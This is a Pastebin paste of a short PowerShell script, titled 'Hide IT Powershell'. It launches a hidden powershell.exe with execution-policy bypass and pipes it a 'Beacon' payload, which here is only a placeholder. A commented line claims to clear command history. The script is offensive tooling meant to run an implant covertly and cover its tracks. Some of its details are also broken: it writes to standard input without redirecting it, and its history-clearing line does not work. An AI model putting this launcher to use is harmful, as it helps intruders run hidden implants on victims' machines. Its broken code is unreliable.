Advertisement
Sweetening

Hide IT Powershell

Dec 7th, 2023
68
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.17 KB | None | 0 0
  1. # Import required modules
  2. Import-Module PSReadLine
  3.  
  4. # Define function to run code as a hidden process
  5. function Run-HiddenProcess {
  6. param(
  7. [Parameter(Mandatory = $true)]
  8. [string] $scriptBlock
  9. )
  10.  
  11. $processStartInfo = New-Object System.Diagnostics.ProcessStartInfo
  12. $processStartInfo.UseShellExecute = $false
  13. $processStartInfo.CreateNoWindow = $true
  14. $processStartInfo.FileName = "powershell.exe"
  15. $processStartInfo.Arguments = "-noprofile -windowstyle hidden -executionpolicy bypass"
  16.  
  17. $process = New-Object System.Diagnostics.Process
  18. $process.StartInfo = $processStartInfo
  19.  
  20. $process.Start()
  21. $process.StandardInput.WriteLine($scriptBlock)
  22. $process.StandardInput.Close()
  23.  
  24. Wait-Process -Id $process.Id
  25.  
  26. $process.Dispose()
  27. }
  28.  
  29. # Beacon code to be executed
  30. $beaconScript = @"
  31. // Beacon code goes here
  32. "@
  33.  
  34. # Run the Beacon code as a hidden process
  35. Run-HiddenProcess -scriptBlock $beaconScript
  36.  
  37. # Additional code to execute after the Beacon code
  38. Write-Host "Beacon script executed successfully!"
  39.  
  40. # Uncomment this line to hide the PowerShell window
  41. # $PSReadLine.History = @()
  42.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement